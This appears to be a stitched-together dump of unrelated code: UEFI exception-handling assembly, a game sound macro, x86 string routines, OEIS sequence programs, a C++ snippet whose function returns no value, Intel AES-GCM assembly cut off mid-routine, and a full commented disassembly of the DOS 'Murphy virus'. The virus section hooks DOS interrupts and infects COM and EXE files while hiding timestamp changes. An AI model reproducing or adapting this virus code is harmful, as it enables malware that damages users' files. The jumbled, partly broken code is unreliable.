mov eax, [esp + 2] xchg eax, [esp] and eax, 0xFFFF mov [esp+4], eax sub esp, 8 sgdt [esp] mov eax, [esp + 2] xchg eax, [esp] and eax, 0xFFFF mov [esp+4], eax ;; UINT32 Ldtr, Tr; mov eax, ebx ; ebx still keeps selector of interrupted task push eax movzx eax, word [ecx + IA32_TSS.LDT] push eax ;; UINT32 EFlags; push dword [ecx + IA32_TSS.EFLAGS] ;; UINT32 Cr0, Cr1, Cr2, Cr3, Cr4; mov eax, cr4 push eax ; push cr4 firstly mov edx, [ebp - 4] ; cpuid.edx test edx, BIT24 ; Test for FXSAVE/FXRESTOR support jz .1 or eax, BIT9 ; Set CR4.OSFXSR .1: test edx, BIT2 ; Test for Debugging Extensions support jz .2 or eax, BIT3 ; Set CR4.DE .2: mov cr4, eax mov eax, cr3 push eax mov eax, cr2 push eax xor eax, eax push eax mov eax, cr0 push eax ;; UINT32 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; mov eax, dr7 push eax mov eax, dr6 push eax mov eax, dr3 push eax mov eax, dr2 push eax mov eax, dr1 push eax mov eax, dr0 push eax ;; FX_SAVE_STATE_IA32 FxSaveState; ;; Clear TS bit in CR0 to avoid Device Not Available Exception (#NM) ;; when executing fxsave/fxrstor instruction test edx, BIT24 ; Test for FXSAVE/FXRESTOR support. ; edx still contains result from CPUID above jz .3 clts sub esp, 512 mov edi, esp db 0xf, 0xae, 0x7 ;fxsave [edi] .3: ;; UINT32 ExceptionData; push dword [ebp + 8] ;; UEFI calling convention for IA32 requires that Direction flag in EFLAGs is clear cld ;; call into exception handler mov esi, ecx ; Keep TSS base to avoid overwrite mov eax, ASM_PFX(CommonExceptionHandler) ;; Prepare parameter and call mov edx, esp push edx ; EFI_SYSTEM_CONTEXT push dword [ebp + 4] ; EFI_EXCEPTION_TYPE (vector number) ; ; Call External Exception Handler ; call eax add esp, 8 ; Restore stack before calling mov ecx, esi ; Restore TSS base ;; UINT32 ExceptionData; add esp, 4 ;; FX_SAVE_STATE_IA32 FxSaveState; mov edx, [ebp - 4] ; cpuid.edx test edx, BIT24 ; Test for FXSAVE/FXRESTOR support jz .4 mov esi, esp db 0xf, 0xae, 0xe ; fxrstor [esi] .4: add esp, 512 ;; UINT32 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; ;; Skip restoration of DRx registers to support debuggers ;; that set breakpoints in interrupt/exception context add esp, 4 * 6 ;; UINT32 Cr0, Cr1, Cr2, Cr3, Cr4; pop eax mov cr0, eax add esp, 4 ; not for Cr1 pop eax mov cr2, eax pop eax mov dword [ecx + IA32_TSS._CR3], eax pop eax mov cr4, eax ;; UINT32 EFlags; pop dword [ecx + IA32_TSS.EFLAGS] mov ebx, dword [ecx + IA32_TSS.EFLAGS] btr ebx, 9 ; Do 'cli' mov dword [ecx + IA32_TSS.EFLAGS], ebx ;; UINT32 Ldtr, Tr; ;; UINT32 Gdtr[2], Idtr[2]; ;; Best not let anyone mess with these particular registers... add esp, 24 ;; UINT32 Eip; pop dword [ecx + IA32_TSS.EIP] ;; UINT32 Gs, Fs, Es, Ds, Cs, Ss; ;; NOTE - modified segment registers could hang the debugger... We ;; could attempt to insulate ourselves against this possibility, ;; but that poses risks as well. ;; pop eax o16 mov [ecx + IA32_TSS._GS], ax pop eax o16 mov [ecx + IA32_TSS._FS], ax pop eax o16 mov [ecx + IA32_TSS._ES], ax pop eax o16 mov [ecx + IA32_TSS._DS], ax pop eax o16 mov [ecx + IA32_TSS._CS], ax pop eax o16 mov [ecx + IA32_TSS._SS], ax ;; UINT32 Edi, Esi, Ebp, Esp, Ebx, Edx, Ecx, Eax; pop dword [ecx + IA32_TSS._EDI] pop dword [ecx + IA32_TSS._ESI] add esp, 4 ; not for ebp add esp, 4 ; not for esp pop dword [ecx + IA32_TSS._EBX] pop dword [ecx + IA32_TSS._EDX] pop dword [ecx + IA32_TSS._ECX] pop dword [ecx + IA32_TSS._EAX] ; Set single step DB# to allow debugger to able to go back to the EIP ; where the exception is triggered. ;; Create return context for iretd in stub function mov eax, dword [ecx + IA32_TSS._ESP] ; Get old stack pointer mov ebx, dword [ecx + IA32_TSS.EIP] mov [eax - 0xc], ebx ; create EIP in old stack movzx ebx, word [ecx + IA32_TSS._CS] mov [eax - 0x8], ebx ; create CS in old stack mov ebx, dword [ecx + IA32_TSS.EFLAGS] bts ebx, 8 ; Set TF mov [eax - 0x4], ebx ; create eflags in old stack sub eax, 0xc ; minus 12 byte mov dword [ecx + IA32_TSS._ESP], eax ; Set new stack pointer ;; Replace the EIP of interrupted task with stub function mov eax, ASM_PFX(SingleStepStubFunction) mov dword [ecx + IA32_TSS.EIP], eax mov ecx, [ebp - 8] ; Get current TSS base mov eax, dword [ecx + IA32_TSS._ESP] ; Return current stack top mov esp, ebp ret global ASM_PFX(SingleStepStubFunction) ASM_PFX(SingleStepStubFunction): ; ; we need clean TS bit in CR0 to execute ; x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. ; clts iretd global ASM_PFX(AsmGetTssTemplateMap) ASM_PFX(AsmGetTssTemplateMap): push ebp ; C prolog mov ebp, esp pushad mov ebx, dword [ebp + 0x8] mov dword [ebx], ASM_PFX(ExceptionTaskSwtichEntry0) mov dword [ebx + 0x4], (AsmExceptionEntryEnd - AsmExceptionEntryBegin) / 32 mov dword [ebx + 0x8], 0 popad pop ebp ret
SFX_Teleport_Exit2_1_Ch4: duty 1 pitchenvelope 1, 6 squarenote 15, 13, 2, 1280 pitchenvelope 0, 0 endchannel
[section .text] global memcpy global memset global strcpy global strlen memcpy: push ebp mov ebp ,esp push esi push edi push ecx mov edi ,[ebp+8] mov esi ,[ebp+12] mov ecx ,[ebp+16] .1: cmp ecx ,0 jz .2 mov al ,[ds:esi] inc esi mov BYTE[es:edi] ,al inc edi dec ecx jmp .1 .2: mov eax ,[ebp+8] pop ecx pop edi pop esi mov esp ,ebp pop ebp ret memset: push ebp mov ebp, esp push esi push edi push ecx mov edi, [ebp + 8] ; Destination mov edx, [ebp + 12] ; Char to be putted mov ecx, [ebp + 16] ; Counter .1: cmp ecx, 0 ; 判断计数器 jz .2 ; 计数器为零时跳出 mov byte [edi], dl ; ┓ inc edi ; ┛ dec ecx ; 计数器减一 jmp .1 ; 循环 .2: pop ecx pop edi pop esi mov esp, ebp pop ebp ret ; 函数结束,返回 strcpy: push ebp mov ebp, esp mov esi, [ebp + 12] ; Source mov edi, [ebp + 8] ; Destination .1: mov al, [esi] ; ┓ inc esi ; ┃ ; ┣ 逐字节移动 mov byte [edi], al ; ┃ inc edi ; ┛ cmp al, 0 ; 是否遇到 '\0' jnz .1 ; 没遇到就继续循环,遇到就结束 mov eax, [ebp + 8] ; 返回值 pop ebp ret ; 函数结束,返回 strlen: push ebp mov ebp, esp mov eax, 0 ; 字符串长度开始是 0 mov esi, [ebp + 8] ; esi 指向首地址 .1: cmp byte [esi], 0 ; 看 esi 指向的字符是否是 '\0' jz .2 ; 如果是 '\0',程序结束 inc esi ; 如果不是 '\0',esi 指向下一个字符 inc eax ; 并且,eax 自加一 jmp .1 ; 如此循环 .2: pop ebp ret ; 函数结束,返回 ; ------------------------------------------------------------------------
; A168855: Number of reduced words of length n in Coxeter group on 34 generators S_i with relations (S_i)^2 = (S_i S_j)^20 = I. ; 1,34,1122,37026,1221858,40321314,1330603362,43909910946,1449027061218,47817893020194,1577990469666402,52073685498991266,1718431621466711778,56708243508401488674,1871372035777249126242,61755277180649221165986 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,33 lpe mov $0,$2 div $0,33
#include <iostream> using namespace std; /*em c++, para usarmos a passagem de parâmetros por referência na declaração do método, no parâmetro passado por referência colocamos o & após o tipo da variável.*/ int metodo(int&x, int y){ int z; printf(" %i, %i ?\n",x, y); } int main(int argc, char **argv){ int a, b, c; a = b =1; printf("%i, %i ?\n",a, b); c = metodo(a, b); printf("\n %i, %i, %d\n",a, b, c); }
L0100: JMP L08D0 MOV AH,09H MOV DX,010CH INT 21H L010A: INT 20H L010C: DB 'Murphy virus V1.00 (V1277)$' DB 1961 DUP (1) L08D0: JMP L0C51 NOP ; \ NOP ; \ NOP ; \ L08D6: MOV AH,09H ; \ MOV DX,010CH ; > ORIGINAL 24 BYTES INT 21H ; / L08DD: INT 20H ; / ; / L08DF: DB 'Murphy virus' ; / L08EB: DW 2 DUP(0000H) MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H AND [BX+SI],AX ;DB 21H,00H JNO L08F7 ;DB 71H,00H L08F7: XOR AL,[BX+DI] ;DB 32H,01H MOV CH,02H ;DB 0B5H,02H TEST AL,0CH ;DB 0A8H,0CH PUSH SI ;DB 56H ADD AX,0AF9H ;DB 05H,0F9H,0AH EXTRN L3BC8H_0001H:FAR JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH ADD CH,[BX+SI+200CH] L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. ' DB 'I'm written since Nov/Dec.' DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. ' ; ******** INT21 DRIVER ******** CALL L0C1B ; SOUND SHOW CMP AX,4B59H ; SPECIAL FUNCTION ? JNE L099A PUSH BP ; \ MOV BP,SP ; \ AND WORD PTR [BP+06H],-02H ; > FLAG C = 0 POP BP ; / IRET ; / L099A: CMP AH,4BH ; EXEC PROGRAM ? JE L09B1 CMP AX,3D00H ; OPEN FILE ? JE L09B1 CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx ) JNE L09AE CMP BL,00H JE L09B1 L09AE: JMP L0A56 ; NO. ORIGINAL INT21 L09B1: PUSH ES ; \ PUSH DS ; > SAVE REGISTERS L09B3: DB 'WVURQSP' ; / CALL L0B86 ; SET NEW INT24 & INT13 CMP AX,6C00H ; \ JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI MOV DX,SI ; / L09C4: MOV CX,0080H MOV SI,DX ; \ L09C9: INC SI ; \ MOV AL,[SI] ; > SEARCH EXTENSION OR AL,AL ; / LOOPNZ L09C9 ; / SUB SI,+02H CMP WORD PTR [SI],4D4FH ; 'OM' ? JE L09EB CMP WORD PTR [SI],4558H ; 'XE' ? JE L09E2 L09DF: JMP SHORT L0A4A NOP L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ? JE L09F2 JMP SHORT L09DF L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ? JNE L09DF L09F2: MOV AX,3D02H ; OPEN FILE CALL L0B7F JB L0A4A MOV BX,AX MOV AX,5700H ; GET DATE & TIME CALL L0B7F MOV CS:[0121H],CX ; SAVE DATE & TIME MOV CS:[0123H],DX MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ??? XOR CX,CX XOR DX,DX CALL L0B7F PUSH CS ; MY SEGMENT POP DS MOV DX,0103H ; READ ORIGINAL 24 BYTES MOV SI,DX MOV CX,0018H MOV AH,3FH CALL L0B7F JB L0A35 CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ? JNE L0A32 CALL L0A5B ; INFECT 'EXE' FILE JMP SHORT L0A35 L0A32: CALL L0B2B ; INFECT 'COM' FILE L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME MOV CX,CS:[0121H] MOV DX,CS:[0123H] CALL L0B7F MOV AH,3EH ; CLOSE FILE CALL L0B7F ; RESTORE INT13 & INT24 L0A4A: CALL L0BC3 L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS POP DS POP ES L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21 ; ******** INFECT 'EXE' PROGRAM ******** L0A5B: MOV CX,[SI+16H] ; CS SEGMENT ADD CX,[SI+08H] ; + HEADER SIZE MOV AX,0010H ; PARA -> BYTES MUL CX ADD AX,[SI+14H] ; DX:AX = START FILE ADC DX,+00H PUSH DX ; SAVE START FILE OFFSET PUSH AX MOV AX,4202H ; MOVE FP TO END FILE XOR CX,CX ; (GET FILE SIZE) XOR DX,DX CALL L0B7F CMP DX,+00H ; SIZE < 1277 ??? JNE L0A88 CMP AX,04FDH NOP JNB L0A88 POP AX ; QUIT POP DX JMP L0B0D L0A88: MOV DI,AX ; SAVE FILE SIZE MOV BP,DX POP CX ; CALC CODE SIZE SUB AX,CX POP CX SBB DX,CX CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ? JE L0B0D CMP DX,+00H ; CODE SIZE = 1277 JNE L0AA3 CMP AX,04FDH NOP JE L0B0D L0AA3: MOV DX,BP ; FILE SIZE MOV AX,DI PUSH DX ; SAVE FILE SIZE PUSH AX ADD AX,04FDH ; CALC NEW FILE SIZE NOP ADC DX,+00H MOV CX,0200H ; CALC FILE SIZE FOR HEADER DIV CX LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE MOV CS:[0125H],DI MOV CS:[0127H],ES MOV [SI+02H],DX ; SAVE NEW CODE SIZE CMP DX,+00H JE L0ACB INC AX L0ACB: MOV [SI+04H],AX POP AX ; RESTORE ORIGINAL FILE SIZE POP DX CALL L0B0E ; ??? SUB AX,[SI+08H] LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP MOV DS:[011BH],DI MOV DS:[011DH],ES MOV [SI+14H],DX ; SET NEW CS:IP MOV [SI+16H],AX MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET MOV AX,4202H ; MOVE FP TO END FILE XOR CX,CX XOR DX,DX CALL L0B7F CALL L0B1F ; WRITE CODE JB L0B0D MOV AX,4200H ; MOVE FP TO BEGIN FILE XOR CX,CX XOR DX,DX CALL L0B7F MOV AH,40H ; WRITE HEADER MOV DX,SI MOV CX,0018H CALL L0B7F L0B0D: RET L0B0E: MOV CX,0004H ; ??? MOV DI,AX AND DI,+0FH L0B16: SHR DX,1 RCR AX,1 LOOP L0B16 MOV DX,DI RET L0B1F: MOV AH,40H ; WRITE VIRUS CODE MOV CX,04FDH ; SIZE = 1277 NOP MOV DX,0100H JMP SHORT L0B7F NOP ; ******** INFECT 'COM' PROGRAM ******** L0B2B: MOV AX,4202H ; MOVE FP TO END FILE XOR CX,CX XOR DX,DX CALL L0B7F CMP AX,04FDH ; FILE SIZE < 1277 ? NOP JB L0B7E CMP AX,0FAE2H ; FILE SIZE > 64226 NOP JNB L0B7E PUSH AX ; SAVE SIZE CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ? JNE L0B53 SUB AX,0500H ; CALC OFFSET FOR VIRUS NOP CMP AX,[SI+01H] ; FILE IS INFECTET ? JNE L0B53 POP AX JMP SHORT L0B7E L0B53: CALL L0B1F ; WRITE VIRUS CODE JNB L0B5B POP AX ; ERROR JMP SHORT L0B7E L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE XOR CX,CX XOR DX,DX CALL L0B7F POP AX ; CALC OFFSET FOR JUMP SUB AX,0003H MOV DX,011BH ; DATA ARREA MOV SI,DX MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA MOV CS:[SI+01H],AX MOV AH,40H ; WRITE FIRST 3 BYTES MOV CX,0003H CALL L0B7F L0B7E: RET ; ******** VIRUS INT21 ******** L0B7F: PUSHF CALL DWORD PTR CS:[0129H] RET ; ******** SET NEW INT24 & INT13 ******** L0B86: PUSH AX ; SAVE REGISTERS PUSH DS PUSH ES XOR AX,AX ; SEGMENT AT VECTOR TABLE PUSH AX POP DS CLI LES AX,DWORD PTR DS:[0090H] ; \ MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24 MOV CS:[012FH],ES ; / MOV AX,0418H ; \ MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24 MOV DS:[0092H],CS ; / LES AX,DWORD PTR DS:[004CH] ; \ MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13 MOV CS:[0137H],ES ; / LES AX,DWORD PTR CS:[0131H] ; \ MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13 MOV DS:[004EH],ES ; / STI POP ES ; RESTORE REGISTERS POP DS POP AX RET ; ******** RESTORE INT24 & INT13 ******** L0BC3: PUSH AX PUSH DS PUSH ES XOR AX,AX PUSH AX POP DS CLI LES AX,DWORD PTR CS:[012DH] ; \ MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24 MOV DS:[0092H],ES ; / LES AX,DWORD PTR CS:[0135H] ; \ MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13 MOV DS:[004EH],ES ; / STI POP ES POP DS POP AX RET ; ******** INT13 DRIVER ******** L0BE8: TEST AH,80H ; HARD DISK ? JE L0BF2 JMP DWORD PTR CS:[012DH] ; YES. L0BF2: ADD SP,+06H ; POP REGISTERS L0BF5: DB 'X[YZ^_]' POP DS POP ES PUSH BP MOV BP,SP OR WORD PTR [BP+06H],+01H ; FLAG C=1 POP BP IRET ; ******** SOUOND DRIVER ********* L0C07: MOV AL,0B6H OUT 43H,AL MOV AX,0064H OUT 42H,AL MOV AL,AH OUT 42H,AL IN AL,61H OR AL,03H OUT 61H,AL RET ; ******** SHOW DRIVER ******** L0C1B: PUSH AX ; SAVE REGISTERS PUSH CX PUSH DX PUSH DS XOR AX,AX ; DOS ARREA SEGMENT PUSH AX POP DS MOV AX,WORD PTR DS:[046CH] ; GET TIME MOV DX,DS:[046EH] MOV CX,0FFFFH ; DIVIDE BY 65535 DIV CX ; 1 HOUR - 65535 TICKS CMP AX,000AH ; TEN HOUR ? JNE L0C37 CALL L0C07 ; SHOW L0C37: POP DS ; RESTORE REGISTERS POP DX POP CX POP AX RET L0C3C: MOV DX,0010H ; DX:AX = AX * 16 MUL DX RET ; CLEAR REGISTERS ???? L0C42: XOR AX,AX XOR BX,BX XOR CX,CX XOR DX,DX XOR SI,SI XOR DI,DI XOR BP,BP RET L0C51: PUSH DS CALL L0C55 ; PUSH ADDRES L0C55: MOV AX,4B59H ; I'M IN MEMORY ? INT 21H L0C5A: JB L0C5F ; NO. INSERT CODE JMP L0D87 ; START FILE L0C5F: POP SI ; POP MY ADDRESS PUSH SI MOV DI,SI XOR AX,AX ; DS = VECTOR TABLE SEGMENT PUSH AX POP DS LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS MOV CS:[SI+0FCACH],AX MOV CS:[SI+0FCAEH],ES LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS MOV CS:[DI+0FCA4H],BX MOV CS:[DI+0FCA6H],ES MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40 CMP AX,0F000H ; IN ROM BIOS ? JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM MOV DL,80H MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41 CMP AX,0F000H ; ROM BIOS ? JE L0CB1 CMP AH,0C8H ; < ROM EXTERNAL ARREA JB L0CF4 CMP AH,0F4H ; > ROM EXTERNAL ARREA JNB L0CF4 TEST AL,7FH JNE L0CF4 MOV DS,AX CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ? JNE L0CF4 MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13 L0CB1: MOV DS,AX ; ADDRESS XOR DH,DH MOV CL,09H SHL DX,CL MOV CX,DX XOR SI,SI L0CBD: LODSW CMP AX,0FA80H JNE L0CCB LODSW CMP AX,7380H JE L0CD6 JNE L0CE0 L0CCB: CMP AX,0C2F6H JNE L0CE2 LODSW CMP AX,7580H JNE L0CE0 L0CD6: INC SI LODSW CMP AX,40CDH JE L0CE7 SUB SI,+03H L0CE0: DEC SI DEC SI L0CE2: DEC SI LOOP L0CBD JMP SHORT L0CF4 L0CE7: SUB SI,+07H MOV CS:[DI+0FCACH],SI MOV CS:[DI+0FCAEH],DS L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT INT 21H L0CF8: MOV ES,BX ; FREE MY BLOCK MOV AH,49H INT 21H L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE MOV AH,48H INT 21H L0D05: SUB BX,0051H ; FREE SPACE ? JB L0D87 MOV CX,ES ; CALC NEW BLOCK SIZE STC ADC CX,BX MOV AH,4AH ; SET NEW SIZE INT 21H L0D14: MOV BX,0050H NOP STC SBB ES:[0002H],BX PUSH ES MOV ES,CX MOV AH,4AH INT 21H L0D25: MOV AX,ES DEC AX MOV DS,AX MOV WORD PTR DS:[0001H],0008H CALL L0C3C MOV BX,AX MOV CX,DX POP DS MOV AX,DS CALL L0C3C ADD AX,DS:[0006H] ADC DX,+00H SUB AX,BX SBB DX,CX JB L0D4E SUB DS:[0006H],AX L0D4E: MOV SI,DI XOR DI,DI PUSH CS POP DS SUB SI,0385H MOV CX,04FDH NOP INC CX REPZ MOVSB MOV AH,62H INT 21H L0D63: DEC BX MOV DS,BX MOV BYTE PTR DS:[0000H],5AH MOV DX,01B9H XOR AX,AX PUSH AX POP DS MOV AX,ES SUB AX,0010H MOV ES,AX CLI MOV DS:[0084H],DX MOV DS:[0086H],ES STI DEC BYTE PTR DS:[047BH] L0D87: POP SI CMP WORD PTR CS:[SI+0FC7EH],5A4DH JNE L0DAE POP DS MOV AX,CS:[SI+0FC9AH] MOV BX,CS:[SI+0FC98H] PUSH CS POP CX SUB CX,AX ADD CX,BX PUSH CX PUSH WORD PTR CS:[SI+0FC96H] PUSH DS POP ES CALL L0C42 RETF L0DAE: POP AX MOV AX,CS:[SI+0FC7EH] MOV WORD PTR CS:[0100H],AX MOV AX,CS:[SI+0FC80H] MOV WORD PTR CS:[0102H],AX MOV AX,0100H PUSH AX PUSH CS POP DS PUSH DS POP ES CALL L0C42 RET L0DCD: DW 0000H
; A003312: a(1) = 3; for n>0, a(n+1) = a(n) + floor((a(n)-1)/2). ; 3,4,5,7,10,14,20,29,43,64,95,142,212,317,475,712,1067,1600,2399,3598,5396,8093,12139,18208,27311,40966,61448,92171,138256,207383,311074,466610,699914,1049870,1574804,2362205,3543307,5314960,7972439,11958658,17937986,26906978,40360466,60540698,90811046,136216568,204324851,306487276,459730913,689596369,1034394553,1551591829,2327387743,3491081614,5236622420,7854933629,11782400443,17673600664,26510400995,39765601492,59648402237,89472603355,134208905032,201313357547,301970036320,452955054479,679432581718,1019148872576,1528723308863,2293084963294,3439627444940,5159441167409,7739161751113,11608742626669,17413113940003,26119670910004,39179506365005,58769259547507,88153889321260,132230833981889,198346250972833,297519376459249,446279064688873,669418597033309,1004127895549963,1506191843324944,2259287764987415,3388931647481122,5083397471221682,7625096206832522 mov $1,2 mov $2,$0 lpb $2 mul $1,3 div $1,2 sub $2,1 lpe add $1,1
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 POLY: .quad 0x1, 0xC200000000000000 TWOONE: .quad 0x1, 0x100000000 SHUF_CONST: .quad 0x8090a0b0c0d0e0f, 0x1020304050607 MASK1: .quad 0xffffffffffffffff, 0x0 MASK2: .quad 0x0, 0xffffffffffffffff INC_1: .quad 1,0 .p2align 4, 0x90 .globl AesGcmPrecompute_avx .type AesGcmPrecompute_avx, @function AesGcmPrecompute_avx: movdqu (%rsi), %xmm0 pshufb SHUF_CONST(%rip), %xmm0 movdqa %xmm0, %xmm4 psllq $(1), %xmm0 psrlq $(63), %xmm4 movdqa %xmm4, %xmm3 pslldq $(8), %xmm4 psrldq $(8), %xmm3 por %xmm4, %xmm0 pshufd $(36), %xmm3, %xmm4 pcmpeqd TWOONE(%rip), %xmm4 pand POLY(%rip), %xmm4 pxor %xmm4, %xmm0 movdqa %xmm0, %xmm1 pshufd $(78), %xmm1, %xmm5 pshufd $(78), %xmm0, %xmm3 pxor %xmm1, %xmm5 pxor %xmm0, %xmm3 pclmulqdq $(0), %xmm3, %xmm5 movdqa %xmm1, %xmm4 pclmulqdq $(0), %xmm0, %xmm1 pxor %xmm3, %xmm3 pclmulqdq $(17), %xmm0, %xmm4 pxor %xmm1, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm3 pslldq $(8), %xmm5 pxor %xmm3, %xmm4 pxor %xmm5, %xmm1 movdqa %xmm1, %xmm3 movdqa %xmm1, %xmm5 movdqa %xmm1, %xmm15 psllq $(63), %xmm3 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm3 pxor %xmm15, %xmm3 movdqa %xmm3, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm3 pxor %xmm5, %xmm1 pxor %xmm3, %xmm4 movdqa %xmm1, %xmm5 psrlq $(5), %xmm5 pxor %xmm1, %xmm5 psrlq $(1), %xmm5 pxor %xmm1, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm1 pxor %xmm4, %xmm1 movdqa %xmm1, %xmm2 pshufd $(78), %xmm2, %xmm5 pshufd $(78), %xmm1, %xmm3 pxor %xmm2, %xmm5 pxor %xmm1, %xmm3 pclmulqdq $(0), %xmm3, %xmm5 movdqa %xmm2, %xmm4 pclmulqdq $(0), %xmm1, %xmm2 pxor %xmm3, %xmm3 pclmulqdq $(17), %xmm1, %xmm4 pxor %xmm2, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm3 pslldq $(8), %xmm5 pxor %xmm3, %xmm4 pxor %xmm5, %xmm2 movdqa %xmm2, %xmm3 movdqa %xmm2, %xmm5 movdqa %xmm2, %xmm15 psllq $(63), %xmm3 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm3 pxor %xmm15, %xmm3 movdqa %xmm3, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm3 pxor %xmm5, %xmm2 pxor %xmm3, %xmm4 movdqa %xmm2, %xmm5 psrlq $(5), %xmm5 pxor %xmm2, %xmm5 psrlq $(1), %xmm5 pxor %xmm2, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm2 pxor %xmm4, %xmm2 movdqu %xmm0, (%rdi) movdqu %xmm1, (16)(%rdi) movdqu %xmm2, (32)(%rdi) ret .Lfe1: .size AesGcmPrecompute_avx, .Lfe1-(AesGcmPrecompute_avx) .p2align 4, 0x90 .globl AesGcmMulGcm_avx .type AesGcmMulGcm_avx, @function AesGcmMulGcm_avx: movdqa (%rdi), %xmm0 pshufb SHUF_CONST(%rip), %xmm0 movdqa (%rsi), %xmm1 pshufd $(78), %xmm0, %xmm4 pshufd $(78), %xmm1, %xmm2 pxor %xmm0, %xmm4 pxor %xmm1, %xmm2 pclmulqdq $(0), %xmm2, %xmm4 movdqa %xmm0, %xmm3 pclmulqdq $(0), %xmm1, %xmm0 pxor %xmm2, %xmm2 pclmulqdq $(17), %xmm1, %xmm3 pxor %xmm0, %xmm4 pxor %xmm3, %xmm4 palignr $(8), %xmm4, %xmm2 pslldq $(8), %xmm4 pxor %xmm2, %xmm3 pxor %xmm4, %xmm0 movdqa %xmm0, %xmm2 movdqa %xmm0, %xmm4 movdqa %xmm0, %xmm15 psllq $(63), %xmm2 psllq $(62), %xmm4 psllq $(57), %xmm15 pxor %xmm4, %xmm2 pxor %xmm15, %xmm2 movdqa %xmm2, %xmm4 pslldq $(8), %xmm4 psrldq $(8), %xmm2 pxor %xmm4, %xmm0 pxor %xmm2, %xmm3 movdqa %xmm0, %xmm4 psrlq $(5), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm4, %xmm0 pxor %xmm3, %xmm0 pshufb SHUF_CONST(%rip), %xmm0 movdqa %xmm0, (%rdi) ret .Lfe2: .size AesGcmMulGcm_avx, .Lfe2-(AesGcmMulGcm_avx) .p2align 4, 0x90 .globl AesGcmAuth_avx .type AesGcmAuth_avx, @function AesGcmAuth_avx: movdqa (%rdi), %xmm0 pshufb SHUF_CONST(%rip), %xmm0 movdqa (%rcx), %xmm1 movslq %edx, %rdx .p2align 4, 0x90 .Lauth_loopgas_3: movdqu (%rsi), %xmm2 pshufb SHUF_CONST(%rip), %xmm2 add $(16), %rsi pxor %xmm2, %xmm0 pshufd $(78), %xmm0, %xmm4 pshufd $(78), %xmm1, %xmm2 pxor %xmm0, %xmm4 pxor %xmm1, %xmm2 pclmulqdq $(0), %xmm2, %xmm4 movdqa %xmm0, %xmm3 pclmulqdq $(0), %xmm1, %xmm0 pxor %xmm2, %xmm2 pclmulqdq $(17), %xmm1, %xmm3 pxor %xmm0, %xmm4 pxor %xmm3, %xmm4 palignr $(8), %xmm4, %xmm2 pslldq $(8), %xmm4 pxor %xmm2, %xmm3 pxor %xmm4, %xmm0 movdqa %xmm0, %xmm2 movdqa %xmm0, %xmm4 movdqa %xmm0, %xmm15 psllq $(63), %xmm2 psllq $(62), %xmm4 psllq $(57), %xmm15 pxor 